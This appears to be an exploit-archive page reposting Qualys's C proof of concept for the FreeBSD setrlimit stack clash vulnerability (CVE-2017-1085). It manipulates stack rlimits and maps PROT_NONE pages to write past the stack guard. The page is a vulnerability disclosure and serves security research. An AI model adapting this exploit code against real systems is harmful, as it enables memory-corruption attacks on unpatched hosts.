Exploit the possiblities

FreeBSD setrlimit Stack Clash Proof Of Concept

FreeBSD setrlimit Stack Clash Proof Of Concept
Posted Jun 29, 2017
Site qualys.com

FreeBSD setrlimit stack clash proof of concept exploit.

tags | exploit, proof of concept
systems | freebsd, bsd
advisories | CVE-2017-1085
MD5 | 6eba2939821ab24edba2b623a0df6a80

FreeBSD setrlimit Stack Clash Proof Of Concept

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/*
* FreeBSD_CVE-2017-1085.c
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <unistd.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

int
main(const int argc, char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
if (stack.rlim_cur > stack.rlim_max / 3) {
stack.rlim_cur = stack.rlim_max / 3;
if (setrlimit(RLIMIT_STACK, &stack)) die();
execve(*argv, argv, NULL);
die();
}
char * prot_none = NULL;
for (;;) {
prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (prot_none == MAP_FAILED) die();
if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
}
if (argc > 1) {
stack.rlim_cur = stack.rlim_max;
if (setrlimit(RLIMIT_STACK, &stack)) die();
}
*prot_none = 'A';
printf("char at %p: %02x\n", prot_none, *prot_none);
exit(EXIT_SUCCESS);
}

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